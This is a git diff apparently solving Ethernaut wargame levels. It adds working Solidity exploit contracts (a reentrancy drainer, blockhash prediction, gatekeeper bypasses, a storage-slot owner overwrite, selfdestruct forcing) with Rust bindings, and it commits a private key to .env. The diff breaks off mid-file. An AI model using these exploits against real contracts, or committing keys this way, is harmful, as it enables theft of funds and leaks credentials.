diff --git a/.env b/.env index 3a584c1..de088d1 100644 --- a/.env +++ b/.env @@ -1,3 +1,4 @@ FOUNDRY_VERBOSITY=3 FOUNDRY_TX_ORIGIN=0xa0Ee7A142d267C1f36714E4a8F75612F20a79720 FOUNDRY_SENDER=0xa0Ee7A142d267C1f36714E4a8F75612F20a79720 +PRIVATE_KEY=0x2a871d0798f97d79848a013d4936a73bf4cc922c825d33c1cf7073dff6d409c6 diff --git a/.vscode/settings.json b/.vscode/settings.json index 1fb4c77..c294c15 100644 --- a/.vscode/settings.json +++ b/.vscode/settings.json @@ -5,9 +5,9 @@ "[rust]": { "editor.defaultFormatter": "rust-lang.rust-analyzer" }, - "solidity.packageDefaultDependenciesContractsDirectory": "attack/contracts", + "solidity.packageDefaultDependenciesContractsDirectory": "contracts", "solidity.packageDefaultDependenciesDirectory": "lib", - "solidity.monoRepoSupport": true, + "solidity.monoRepoSupport": false, "solidity.formatter": "forge", "solidity.linter": "", "[solidity]": { diff --git a/attack/contracts/ethernaut/CoinFlipExploit.sol b/attack/contracts/ethernaut/CoinFlipExploit.sol new file mode 100644 index 0000000..dd2d40f --- /dev/null +++ b/attack/contracts/ethernaut/CoinFlipExploit.sol @@ -0,0 +1,33 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +interface CoinFlip { + function flip(bool _guess) external returns (bool); +} + +contract CoinFlipExploit { + uint256 public consecutiveWins; + uint256 lastHash; + uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968; + CoinFlip target; + + constructor(address _coinFlip) { + target = CoinFlip(_coinFlip); + } + + function flip() public { + uint256 blockValue = uint256(blockhash(block.number - 1)); + + if (lastHash == blockValue) { + revert(); + } + + lastHash = blockValue; + uint256 coinFlip = blockValue / FACTOR; + bool side = coinFlip == 1 ? true : false; + + bool result = target.flip(side); + + require(result); + } +} diff --git a/attack/contracts/ethernaut/Donatexploit.sol b/attack/contracts/ethernaut/Donatexploit.sol new file mode 100644 index 0000000..4b0cfea --- /dev/null +++ b/attack/contracts/ethernaut/Donatexploit.sol @@ -0,0 +1,42 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.6.12; + +interface Reentrance { + function balances(address) external view returns (uint256); + function donate(address _to) external payable; + function balanceOf(address _who) external view returns (uint256 balance); + function withdraw(uint256 _amount) external; +} + +contract Donatexploit { + address payable public owner; + address public target; + + bool private _reenter = true; + uint256 private _amount; + + constructor(address _target) public { + owner = payable(msg.sender); + target = _target; + } + + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + function attack() public payable onlyOwner { + Reentrance reentr = Reentrance(payable(target)); + reentr.donate{value: msg.value}(address(this)); + _amount = reentr.balanceOf(address(this)); + reentr.withdraw(_amount); + } + + function withdraw() public onlyOwner { + owner.transfer(address(this).balance); + } + + receive() external payable { + (bool _,) = target.call(abi.encodeWithSignature("withdraw(uint256)", _amount)); + } +} diff --git a/attack/contracts/ethernaut/ElevatorExploit.sol b/attack/contracts/ethernaut/ElevatorExploit.sol new file mode 100644 index 0000000..f902979 --- /dev/null +++ b/attack/contracts/ethernaut/ElevatorExploit.sol @@ -0,0 +1,27 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +interface Building { + function isLastFloor(uint256) external returns (bool); +} + +interface Elevator { + function top() external returns (bool); + function floor() external returns (uint256); + function goTo(uint256 _floor) external; +} + +contract ElevatorExploit is Building { + bool private _last = true; + + function attack(address _target) public { + Elevator _elevator = Elevator(payable(_target)); + _elevator.goTo(0); + require(_elevator.top(), "Didn't get to the top"); + } + + function isLastFloor(uint256) external returns (bool) { + _last = !_last; + return _last; + } +} diff --git a/attack/contracts/ethernaut/ForceExploit.sol b/attack/contracts/ethernaut/ForceExploit.sol new file mode 100644 index 0000000..21095e6 --- /dev/null +++ b/attack/contracts/ethernaut/ForceExploit.sol @@ -0,0 +1,16 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +contract ForceExploit { + address private owner; + + constructor() payable { + require(msg.value > 0); + owner = msg.sender; + } + + function hack(address _target) public { + require(msg.sender == owner && address(this).balance > 0); + selfdestruct(payable(_target)); + } +} diff --git a/attack/contracts/ethernaut/Gatexploit.sol b/attack/contracts/ethernaut/Gatexploit.sol new file mode 100644 index 0000000..2c36e69 --- /dev/null +++ b/attack/contracts/ethernaut/Gatexploit.sol @@ -0,0 +1,14 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +interface GatekeeperOne { + function entrant() external view returns (address); + function enter(bytes8 _gateKey) external returns (bool); +} + +contract Gatexploit { + function attack(address _target) public { + GatekeeperOne gatekeeper = GatekeeperOne(payable(_target)); + gatekeeper.enter{gas: (3 * 8191) + 268}(0x0000972000009720); + } +} diff --git a/attack/contracts/ethernaut/GatexploitTwo.sol b/attack/contracts/ethernaut/GatexploitTwo.sol new file mode 100644 index 0000000..2997b95 --- /dev/null +++ b/attack/contracts/ethernaut/GatexploitTwo.sol @@ -0,0 +1,13 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +interface GatekeeperTwo { + function enter(bytes8 _gateKey) external returns (bool); +} + +contract GatexploitTwo { + constructor(address _target) { + bytes8 _gateKey = bytes8(type(uint64).max ^ uint64(bytes8(keccak256(abi.encodePacked(address(this)))))); + _target.call(abi.encodeWithSignature("enter(bytes8)", _gateKey)); + } +} diff --git a/attack/contracts/ethernaut/KingExploit.sol b/attack/contracts/ethernaut/KingExploit.sol new file mode 100644 index 0000000..9fe588f --- /dev/null +++ b/attack/contracts/ethernaut/KingExploit.sol @@ -0,0 +1,33 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +interface King { + function prize() external view returns (uint256); + function owner() external view returns (address); + function _king() external view returns (address); +} + +contract KingExploit { + address payable owner; + King king; + + constructor(address _king) payable { + owner = payable(msg.sender); + king = King(payable(_king)); + } + + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + function becomeKing() public onlyOwner { + uint256 prize = king.prize(); + (bool success,) = address(king).call{value: prize}(""); + require(success, "becomeKing() failed because call failed"); + } + + receive() external payable { + owner.transfer(address(this).balance + 1); + } +} diff --git a/attack/contracts/ethernaut/MagicNumExploit.sol b/attack/contracts/ethernaut/MagicNumExploit.sol new file mode 100644 index 0000000..2d4e7e9 --- /dev/null +++ b/attack/contracts/ethernaut/MagicNumExploit.sol @@ -0,0 +1,17 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +contract MagicNumExploit { + function whatIsTheMeaningOfLife() public pure { + // PUSH32 0x2a + // PUSH1 0 + // MSTORE + // PUSH1 1 + // PUSH1 0x1f + // RETURN + assembly { + mstore(0x00, 0x2A) + return(0x00, 0x1F) + } + } +} diff --git a/attack/contracts/ethernaut/PreservationExploit.sol b/attack/contracts/ethernaut/PreservationExploit.sol new file mode 100644 index 0000000..8d90f95 --- /dev/null +++ b/attack/contracts/ethernaut/PreservationExploit.sol @@ -0,0 +1,20 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +interface IPreservation { + function setFirstTime(uint256 _timeStamp) external; + function setSecondTime(uint256 _timeStamp) external; +} + +contract PreservationExploit { + constructor(address payable target_) { + IPreservation target = IPreservation(target_); + target.setSecondTime(uint256(uint160(address(this)))); + } + + fallback() external { + assembly { + sstore(2, 0x000000000000000000000000a0Ee7A142d267C1f36714E4a8F75612F20a79720) + } + } +} diff --git a/attack/contracts/ethernaut/TelephoneExploit.sol b/attack/contracts/ethernaut/TelephoneExploit.sol new file mode 100644 index 0000000..3e29e90 --- /dev/null +++ b/attack/contracts/ethernaut/TelephoneExploit.sol @@ -0,0 +1,16 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +interface Telephone { + function owner() external view returns (address); + function changeOwner(address _owner) external; +} + +contract TelephoneExploit { + constructor(address _telephone) { + Telephone telephone = Telephone(_telephone); + address offender = address(0xa0Ee7A142d267C1f36714E4a8F75612F20a79720); + telephone.changeOwner(offender); + require(telephone.owner() == offender); + } +} diff --git a/attack/src/abi/building.rs b/attack/src/abi/building.rs new file mode 100644 index 0000000..a4a0ea2 --- /dev/null +++ b/attack/src/abi/building.rs @@ -0,0 +1,139 @@ +pub use building::*; +/// This module was auto-generated with ethers-rs Abigen. +/// More information at: +#[allow( + clippy::enum_variant_names, + clippy::too_many_arguments, + clippy::upper_case_acronyms, + clippy::type_complexity, + dead_code, + non_camel_case_types +)] +pub mod building { + #[allow(deprecated)] + fn __abi() -> ::ethers::core::abi::Abi { + ::ethers::core::abi::ethabi::Contract { + constructor: ::core::option::Option::None, + functions: ::core::convert::From::from([( + ::std::borrow::ToOwned::to_owned("isLastFloor"), + ::std::vec![::ethers::core::abi::ethabi::Function { + name: ::std::borrow::ToOwned::to_owned("isLastFloor"), + inputs: ::std::vec![::ethers::core::abi::ethabi::Param { + name: ::std::string::String::new(), + kind: ::ethers::core::abi::ethabi::ParamType::Uint( + 256usize, + ), + internal_type: ::core::option::Option::Some( + ::std::borrow::ToOwned::to_owned("uint256"), + ), + },], + outputs: ::std::vec![::ethers::core::abi::ethabi::Param { + name: ::std::string::String::new(), + kind: ::ethers::core::abi::ethabi::ParamType::Bool, + internal_type: ::core::option::Option::Some( + ::std::borrow::ToOwned::to_owned("bool"), + ), + },], + constant: ::core::option::Option::None, + state_mutability: + ::ethers::core::abi::ethabi::StateMutability::NonPayable, + },], + )]), + events: ::std::collections::BTreeMap::new(), + errors: ::std::collections::BTreeMap::new(), + receive: false, + fallback: false, + } + } + ///The parsed JSON ABI of the contract. + pub static BUILDING_ABI: ::ethers::contract::Lazy< + ::ethers::core::abi::Abi, + > = ::ethers::contract::Lazy::new(__abi); + pub struct Building(::ethers::contract::Contract); + impl ::core::clone::Clone for Building { + fn clone(&self) -> Self { Self(::core::clone::Clone::clone(&self.0)) } + } + impl ::core::ops::Deref for Building { + type Target = ::ethers::contract::Contract; + fn deref(&self) -> &Self::Target { &self.0 } + } + impl ::core::ops::DerefMut for Building { + fn deref_mut(&mut self) -> &mut Self::Target { &mut self.0 } + } + impl ::core::fmt::Debug for Building { + fn fmt( + &self, + f: &mut ::core::fmt::Formatter<'_>, + ) -> ::core::fmt::Result { + f.debug_tuple(::core::stringify!(Building)) + .field(&self.address()) + .finish() + } + } + impl Building { + /// Creates a new contract instance with the + /// specified `ethers` client at `address`. + /// The contract derefs to a `ethers::Contract` + /// object. + pub fn new>( + address: T, + client: ::std::sync::Arc, + ) -> Self { + Self(::ethers::contract::Contract::new( + address.into(), + BUILDING_ABI.clone(), + client, + )) + } + ///Calls the contract's `isLastFloor` (0x5f9a4bca) + /// function + pub fn is_last_floor( + &self, + p0: ::ethers::core::types::U256, + ) -> ::ethers::contract::builders::ContractCall { + self.0 + .method_hash([95, 154, 75, 202], p0) + .expect("method not found (this should never happen)") + } + } + impl + From<::ethers::contract::Contract> for Building + { + fn from(contract: ::ethers::contract::Contract) -> Self { + Self::new(contract.address(), contract.client()) + } + } + ///Container type for all input parameters for the + /// `isLastFloor` function with signature + /// `isLastFloor(uint256)` and selector `0x5f9a4bca` + #[derive( + Clone, + ::ethers::contract::EthCall, + ::ethers::contract::EthDisplay, + serde::Serialize, + serde::Deserialize, + Default, + Debug, + PartialEq, + Eq, + Hash, + )] + #[ethcall(name = "isLastFloor", abi = "isLastFloor(uint256)")] + pub struct IsLastFloorCall(pub ::ethers::core::types::U256); + ///Container type for all return fields from the + /// `isLastFloor` function with signature + /// `isLastFloor(uint256)` and selector `0x5f9a4bca` + #[derive( + Clone, + ::ethers::contract::EthAbiType, + ::ethers::contract::EthAbiCodec, + serde::Serialize, + serde::Deserialize, + Default, + Debug, + PartialEq, + Eq, + Hash, + )] + pub struct IsLastFloorReturn(pub bool); +} diff --git a/attack/src/abi/coin_flip.rs b/attack/src/abi/coin_flip.rs new file mode 100644 index 0000000..59881b6 --- /dev/null +++ b/attack/src/abi/coin_flip.rs @@ -0,0 +1,139 @@ +pub use coin_flip::*; +/// This module was auto-generated with ethers-rs Abigen. +/// More information at: +#[allow( + clippy::enum_variant_names, + clippy::too_many_arguments, + clippy::upper_case_acronyms, + clippy::type_complexity, + dead_code, + non_camel_case_types +)] +pub mod coin_flip { + #[allow(deprecated)] + fn __abi() -> ::ethers::core::abi::Abi { + ::ethers::core::abi::ethabi::Contract { + constructor: ::core::option::Option::None, + functions: ::core::convert::From::from([( + ::std::borrow::ToOwned::to_owned("flip"), + ::std::vec![::ethers::core::abi::ethabi::Function { + name: ::std::borrow::ToOwned::to_owned("flip"), + inputs: ::std::vec![::ethers::core::abi::ethabi::Param { + name: ::std::borrow::ToOwned::to_owned("_guess"), + kind: ::ethers::core::abi::ethabi::ParamType::Bool, + internal_type: ::core::option::Option::Some( + ::std::borrow::ToOwned::to_owned("bool"), + ), + },], + outputs: ::std::vec![::ethers::core::abi::ethabi::Param { + name: ::std::string::String::new(), + kind: ::ethers::core::abi::ethabi::ParamType::Bool, + internal_type: ::core::option::Option::Some( + ::std::borrow::ToOwned::to_owned("bool"), + ), + },], + constant: ::core::option::Option::None, + state_mutability: + ::ethers::core::abi::ethabi::StateMutability::NonPayable, + },], + )]), + events: ::std::collections::BTreeMap::new(), + errors: ::std::collections::BTreeMap::new(), + receive: false, + fallback: false, + } + } + ///The parsed JSON ABI of the contract. + pub static COINFLIP_ABI: ::ethers::contract::Lazy< + ::ethers::core::abi::Abi, + > = ::ethers::contract::Lazy::new(__abi); + pub struct CoinFlip(::ethers::contract::Contract); + impl ::core::clone::Clone for CoinFlip { + fn clone(&self) -> Self { Self(::core::clone::Clone::clone(&self.0)) } + } + impl ::core::ops::Deref for CoinFlip { + type Target = ::ethers::contract::Contract; + fn deref(&self) -> &Self::Target { &self.0 } + } + impl ::core::ops::DerefMut for CoinFlip { + fn deref_mut(&mut self) -> &mut Self::Target { &mut self.0 } + } + impl ::core::fmt::Debug for CoinFlip { + fn fmt( + &self, + f: &mut ::core::fmt::Formatter<'_>, + ) -> ::core::fmt::Result { + f.debug_tuple(::core::stringify!(CoinFlip)) + .field(&self.address()) + .finish() + } + } + impl CoinFlip { + /// Creates a new contract instance with the + /// specified `ethers` client at `address`. + /// The contract derefs to a `ethers::Contract` + /// object. + pub fn new>( + address: T, + client: ::std::sync::Arc, + ) -> Self { + Self(::ethers::contract::Contract::new( + address.into(), + COINFLIP_ABI.clone(), + client, + )) + } + ///Calls the contract's `flip` (0x1d263f67) + /// function + pub fn flip( + &self, + guess: bool, + ) -> ::ethers::contract::builders::ContractCall { + self.0 + .method_hash([29, 38, 63, 103], guess) + .expect("method not found (this should never happen)") + } + } + impl + From<::ethers::contract::Contract> for CoinFlip + { + fn from(contract: ::ethers::contract::Contract) -> Self { + Self::new(contract.address(), contract.client()) + } + } + ///Container type for all input parameters for the + /// `flip` function with signature `flip(bool)` and + /// selector `0x1d263f67` + #[derive( + Clone, + ::ethers::contract::EthCall, + ::ethers::contract::EthDisplay, + serde::Serialize, + serde::Deserialize, + Default, + Debug, + PartialEq, + Eq, + Hash, + )] + #[ethcall(name = "flip", abi = "flip(bool)")] + pub struct FlipCall { + pub guess: bool, + } + ///Container type for all return fields from the `flip` + /// function with signature `flip(bool)` and selector + /// `0x1d263f67` + #[derive( + Clone, + ::ethers::contract::EthAbiType, + ::ethers::contract::EthAbiCodec, + serde::Serialize, + serde::Deserialize, + Default, + Debug, + PartialEq, + Eq, + Hash, + )] + pub struct FlipReturn(pub bool); +} diff --git a/attack/src/abi/coin_flip_exploit.rs b/attack/src/abi/coin_flip_exploit.rs new file mode 100644 index 0000000..0fdd80c --- /dev/null +++ b/attack/src/abi/coin_flip_exploit.rs @@ -0,0 +1,313 @@ +pub use coin_flip_exploit::*; +/// This module was auto-generated with ethers-rs Abigen. +/// More information at: +#[allow( + clippy::enum_variant_names, + clippy::too_many_arguments, + clippy::upper_case_acronyms, + clippy::type_complexity, + dead_code, + non_camel_case_types +)] +pub mod coin_flip_exploit { + #[allow(deprecated)] + fn __abi() -> ::ethers::core::abi::Abi { + ::ethers::core::abi::ethabi::Contract { + constructor: ::core::option::Option::Some(::ethers::core::abi::ethabi::Constructor { + inputs: ::std::vec![ + ::ethers::core::abi::ethabi::Param { + name: ::std::borrow::ToOwned::to_owned("_coinFlip"), + kind: ::ethers::core::abi::ethabi::ParamType::Address, + internal_type: ::core::option::Option::Some( + ::std::borrow::ToOwned::to_owned("address"), + ), + }, + ], + }), + functions: ::core::convert::From::from([ + ( + ::std::borrow::ToOwned::to_owned("consecutiveWins"), + ::std::vec![ + ::ethers::core::abi::ethabi::Function { + name: ::std::borrow::ToOwned::to_owned("consecutiveWins"), + inputs: ::std::vec![], + outputs: ::std::vec![ + ::ethers::core::abi::ethabi::Param { + name: ::std::string::String::new(), + kind: ::ethers::core::abi::ethabi::ParamType::Uint( + 256usize, + ), + internal_type: ::core::option::Option::Some( + ::std::borrow::ToOwned::to_owned("uint256"), + ), + }, + ], + constant: ::core::option::Option::None, + state_mutability: ::ethers::core::abi::ethabi::StateMutability::View, + }, + ], + ), + ( + ::std::borrow::ToOwned::to_owned("flip"), + ::std::vec![ + ::ethers::core::abi::ethabi::Function { + name: ::std::borrow::ToOwned::to_owned("flip"), + inputs: ::std::vec![], + outputs: ::std::vec![], + constant: ::core::option::Option::None, + state_mutability: ::ethers::core::abi::ethabi::StateMutability::NonPayable, + }, + ], + ), + ]), + events: ::std::collections::BTreeMap::new(), + errors: ::std::collections::BTreeMap::new(), + receive: false, + fallback: false, + } + } + ///The parsed JSON ABI of the contract. + pub static COINFLIPEXPLOIT_ABI: ::ethers::contract::Lazy< + ::ethers::core::abi::Abi, + > = ::ethers::contract::Lazy::new(__abi); + #[rustfmt::skip] + const __BYTECODE: &[u8] = b"`\x80`@R`\x01`\xFF\x1B`\x02U4\x80\x15`\x17W`\0\x80\xFD[P`@Qa\x02\xC98\x03\x80a\x02\xC9\x839\x81\x01`@\x81\x90R`4\x91`XV[`\x03\x80T`\x01`\x01`\xA0\x1B\x03\x19\x16`\x01`\x01`\xA0\x1B\x03\x92\x90\x92\x16\x91\x90\x91\x17\x90U`\x86V[`\0` \x82\x84\x03\x12\x15`iW`\0\x80\xFD[\x81Q`\x01`\x01`\xA0\x1B\x03\x81\x16\x81\x14`\x7FW`\0\x80\xFD[\x93\x92PPPV[a\x024\x80a\0\x95`\09`\0\xF3\xFE`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[P`\x046\x10a\x006W`\x005`\xE0\x1C\x80c\xCD\xE4\xEF\xA9\x14a\0;W\x80c\xE6\xF34\xD7\x14a\0EW[`\0\x80\xFD[a\0Ca\0`V[\0[a\0N`\0T\x81V[`@Q\x90\x81R` \x01`@Q\x80\x91\x03\x90\xF3[`\0a\0m`\x01Ca\x01ZV[@`\0\x1C\x90P\x80`\x01T\x03a\0\x81W`\0\x80\xFD[`\x01\x81\x90U`\x02T`\0\x90a\0\x96\x90\x83a\x01\x9AV[\x90P`\0\x81`\x01\x14a\0\xA9W`\0a\0\xACV[`\x01[`\x03T`@Q\x7F\x1D&?g\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x81R\x82\x15\x15`\x04\x82\x01R\x91\x92P`\0\x91s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x90\x91\x16\x90c\x1D&?g\x90`$\x01` `@Q\x80\x83\x03\x81`\0\x87Z\xF1\x15\x80\x15a\x01$W=`\0\x80>=`\0\xFD[PPPP`@Q=`\x1F\x19`\x1F\x82\x01\x16\x82\x01\x80`@RP\x81\x01\x90a\x01H\x91\x90a\x01\xD5V[\x90P\x80a\x01TW`\0\x80\xFD[PPPPV[\x81\x81\x03\x81\x81\x11\x15a\x01\x94W\x7FNH{q\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0`\0R`\x11`\x04R`$`\0\xFD[\x92\x91PPV[`\0\x82a\x01\xD0W\x7FNH{q\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0`\0R`\x12`\x04R`$`\0\xFD[P\x04\x90V[`\0` \x82\x84\x03\x12\x15a\x01\xE7W`\0\x80\xFD[\x81Q\x80\x15\x15\x81\x14a\x01\xF7W`\0\x80\xFD[\x93\x92PPPV\xFE\xA2dipfsX\"\x12 \xB5-Z\xE4\xC0.\xA7D\x7F\x89\xC7\xD6F\xB7\xFA\xB2\xC1\x9A\xBE<\x8D\xA9\x1F\x0B \x96\x8DBV\xAC\\TdsolcC\0\x08\x19\x003"; + /// The bytecode of the contract. + pub static COINFLIPEXPLOIT_BYTECODE: ::ethers::core::types::Bytes = + ::ethers::core::types::Bytes::from_static(__BYTECODE); + #[rustfmt::skip] + const __DEPLOYED_BYTECODE: &[u8] = b"`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[P`\x046\x10a\x006W`\x005`\xE0\x1C\x80c\xCD\xE4\xEF\xA9\x14a\0;W\x80c\xE6\xF34\xD7\x14a\0EW[`\0\x80\xFD[a\0Ca\0`V[\0[a\0N`\0T\x81V[`@Q\x90\x81R` \x01`@Q\x80\x91\x03\x90\xF3[`\0a\0m`\x01Ca\x01ZV[@`\0\x1C\x90P\x80`\x01T\x03a\0\x81W`\0\x80\xFD[`\x01\x81\x90U`\x02T`\0\x90a\0\x96\x90\x83a\x01\x9AV[\x90P`\0\x81`\x01\x14a\0\xA9W`\0a\0\xACV[`\x01[`\x03T`@Q\x7F\x1D&?g\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x81R\x82\x15\x15`\x04\x82\x01R\x91\x92P`\0\x91s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x90\x91\x16\x90c\x1D&?g\x90`$\x01` `@Q\x80\x83\x03\x81`\0\x87Z\xF1\x15\x80\x15a\x01$W=`\0\x80>=`\0\xFD[PPPP`@Q=`\x1F\x19`\x1F\x82\x01\x16\x82\x01\x80`@RP\x81\x01\x90a\x01H\x91\x90a\x01\xD5V[\x90P\x80a\x01TW`\0\x80\xFD[PPPPV[\x81\x81\x03\x81\x81\x11\x15a\x01\x94W\x7FNH{q\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0`\0R`\x11`\x04R`$`\0\xFD[\x92\x91PPV[`\0\x82a\x01\xD0W\x7FNH{q\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0`\0R`\x12`\x04R`$`\0\xFD[P\x04\x90V[`\0` \x82\x84\x03\x12\x15a\x01\xE7W`\0\x80\xFD[\x81Q\x80\x15\x15\x81\x14a\x01\xF7W`\0\x80\xFD[\x93\x92PPPV\xFE\xA2dipfsX\"\x12 \xB5-Z\xE4\xC0.\xA7D\x7F\x89\xC7\xD6F\xB7\xFA\xB2\xC1\x9A\xBE<\x8D\xA9\x1F\x0B \x96\x8DBV\xAC\\TdsolcC\0\x08\x19\x003"; + /// The deployed bytecode of the contract. + pub static COINFLIPEXPLOIT_DEPLOYED_BYTECODE: ::ethers::core::types::Bytes = + ::ethers::core::types::Bytes::from_static(__DEPLOYED_BYTECODE); + pub struct CoinFlipExploit(::ethers::contract::Contract); + impl ::core::clone::Clone for CoinFlipExploit { + fn clone(&self) -> Self { Self(::core::clone::Clone::clone(&self.0)) } + } + impl ::core::ops::Deref for CoinFlipExploit { + type Target = ::ethers::contract::Contract; + fn deref(&self) -> &Self::Target { &self.0 } + } + impl ::core::ops::DerefMut for CoinFlipExploit { + fn deref_mut(&mut self) -> &mut Self::Target { &mut self.0 } + } + impl ::core::fmt::Debug for CoinFlipExploit { + fn fmt( + &self, + f: &mut ::core::fmt::Formatter<'_>, + ) -> ::core::fmt::Result { + f.debug_tuple(::core::stringify!(CoinFlipExploit)) + .field(&self.address()) + .finish() + } + } + impl CoinFlipExploit { + /// Creates a new contract instance with the + /// specified `ethers` client at `address`. + /// The contract derefs to a `ethers::Contract` + /// object. + pub fn new>( + address: T, + client: ::std::sync::Arc, + ) -> Self { + Self(::ethers::contract::Contract::new( + address.into(), + COINFLIPEXPLOIT_ABI.clone(), + client, + )) + } + /// Constructs the general purpose `Deployer` + /// instance based on the provided constructor + /// arguments and sends it. Returns a new + /// instance of a deployer that returns an instance + /// of this contract after sending the transaction + /// + /// Notes: + /// - If there are no constructor arguments, you + /// should pass `()` as the argument. + /// - The default poll duration is 7 seconds. + /// - The default number of confirmations is 1 + /// block. + /// + /// + /// # Example + /// + /// Generate contract bindings with `abigen!` and + /// deploy a new contract instance. + /// + /// *Note*: this requires a `bytecode` and `abi` + /// object in the `greeter.json` artifact. + /// + /// ```ignore + /// # async fn deploy(client: ::std::sync::Arc) { + /// abigen!(Greeter, "../greeter.json"); + /// + /// let greeter_contract = Greeter::deploy(client, "Hello world!".to_string()).unwrap().send().await.unwrap(); + /// let msg = greeter_contract.greet().call().await.unwrap(); + /// # } + /// ``` + pub fn deploy( + client: ::std::sync::Arc, + constructor_args: T, + ) -> ::core::result::Result< + ::ethers::contract::builders::ContractDeployer, + ::ethers::contract::ContractError, + > { + let factory = ::ethers::contract::ContractFactory::new( + COINFLIPEXPLOIT_ABI.clone(), + COINFLIPEXPLOIT_BYTECODE.clone().into(), + client, + ); + let deployer = factory.deploy(constructor_args)?; + let deployer = ::ethers::contract::ContractDeployer::new(deployer); + Ok(deployer) + } + ///Calls the contract's `consecutiveWins` + /// (0xe6f334d7) function + pub fn consecutive_wins( + &self, + ) -> ::ethers::contract::builders::ContractCall< + M, + ::ethers::core::types::U256, + > { + self.0 + .method_hash([230, 243, 52, 215], ()) + .expect("method not found (this should never happen)") + } + ///Calls the contract's `flip` (0xcde4efa9) + /// function + pub fn flip( + &self, + ) -> ::ethers::contract::builders::ContractCall { + self.0 + .method_hash([205, 228, 239, 169], ()) + .expect("method not found (this should never happen)") + } + } + impl + From<::ethers::contract::Contract> for CoinFlipExploit + { + fn from(contract: ::ethers::contract::Contract) -> Self { + Self::new(contract.address(), contract.client()) + } + } + ///Container type for all input parameters for the + /// `consecutiveWins` function with signature + /// `consecutiveWins()` and selector `0xe6f334d7` + #[derive( + Clone, + ::ethers::contract::EthCall, + ::ethers::contract::EthDisplay, + serde::Serialize, + serde::Deserialize, + Default, + Debug, + PartialEq, + Eq, + Hash, + )] + #[ethcall(name = "consecutiveWins", abi = "consecutiveWins()")] + pub struct ConsecutiveWinsCall; + ///Container type for all input parameters for the + /// `flip` function with signature `flip()` and selector + /// `0xcde4efa9` + #[derive( + Clone, + ::ethers::contract::EthCall, + ::ethers::contract::EthDisplay, + serde::Serialize, + serde::Deserialize, + Default, + Debug, + PartialEq, + Eq, + Hash, + )] + #[ethcall(name = "flip", abi = "flip()")] + pub struct FlipCall; + ///Container type for all of the contract's call + #[derive( + Clone, + ::ethers::contract::EthAbiType, + serde::Serialize, + serde::Deserialize, + Debug, + PartialEq, + Eq, + Hash, + )] + pub enum CoinFlipExploitCalls { + ConsecutiveWins(ConsecutiveWinsCall), + Flip(FlipCall), + } + impl ::ethers::core::abi::AbiDecode for CoinFlipExploitCalls { + fn decode( + data: impl AsRef<[u8]>, + ) -> ::core::result::Result + { + let data = data.as_ref(); + if let Ok(decoded) = + ::decode( + data, + ) + { + return Ok(Self::ConsecutiveWins(decoded)); + } + if let Ok(decoded) = + ::decode(data) + { + return Ok(Self::Flip(decoded)); + } + Err(::ethers::core::abi::Error::InvalidData.into()) + } + } + impl ::ethers::core::abi::AbiEncode for CoinFlipExploitCalls { + fn encode(self) -> Vec { + match self { + Self::ConsecutiveWins(element) => { + ::ethers::core::abi::AbiEncode::encode(element) + } + Self::Flip(element) => { + ::ethers::core::abi::AbiEncode::encode(element) + } + } + } + } + impl ::core::fmt::Display for CoinFlipExploitCalls { + fn fmt( + &self, + f: &mut ::core::fmt::Formatter<'_>, + ) -> ::core::fmt::Result { + match self { + Self::ConsecutiveWins(element) => { + ::core::fmt::Display::fmt(element, f) + } + Self::Flip(element) => ::core::fmt::Display::fmt(element, f), + } + } + } + impl ::core::convert::From for CoinFlipExploitCalls { + fn from(value: ConsecutiveWinsCall) -> Self { + Self::ConsecutiveWins(value) + } + } + impl ::core::convert::From for CoinFlipExploitCalls { + fn from(value: FlipCall) -> Self { Self::Flip(value) } + } + ///Container type for all return fields from the + /// `consecutiveWins` function with signature + /// `consecutiveWins()` and selector `0xe6f334d7` + #[derive( + Clone, + ::ethers::contract::EthAbiType, + ::ethers::contract::EthAbiCodec, + serde::Serialize, + serde::Deserialize, + Default, + Debug, + PartialEq, + Eq, + Hash, + )] + pub struct ConsecutiveWinsReturn(pub ::ethers::core::types::U256); +} diff --git a/attack/src/abi/donatexploit.rs b/attack/src/abi/donatexploit.rs new file mode 100644 index 0000000..85da9ff --- /dev/null +++ b/attack/src/abi/donatexploit.rs @@ -0,0 +1,436 @@ +pub use donatexploit::*; +/// This module was auto-generated with ethers-rs Abigen. +/// More information at: +#[allow( + clippy::enum_variant_names, + clippy::too_many_arguments, + clippy::upper_case_acronyms, + clippy::type_complexity, + dead_code, + non_camel_case_types +)] +pub mod donatexploit { + #[allow(deprecated)] + fn __abi() -> ::ethers::core::abi::Abi { + ::ethers::core::abi::ethabi::Contract { + constructor: ::core::option::Option::Some(::ethers::core::abi::ethabi::Constructor { + inputs: ::std::vec![ + ::ethers::core::abi::ethabi::Param { + name: ::std::borrow::ToOwned::to_owned("_target"), + kind: 